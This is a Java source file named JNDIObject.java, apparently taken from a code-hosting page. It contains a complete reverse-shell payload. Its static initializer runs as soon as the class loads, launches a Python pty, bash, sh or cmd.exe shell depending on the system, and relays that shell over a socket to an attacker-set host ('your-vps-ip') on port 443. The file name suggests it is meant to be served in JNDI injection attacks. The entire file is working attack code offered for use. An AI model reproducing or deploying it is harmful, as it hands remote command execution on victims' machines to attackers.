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JNDIObject.java
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76 lines (74 loc) · 2.64 KB
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/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}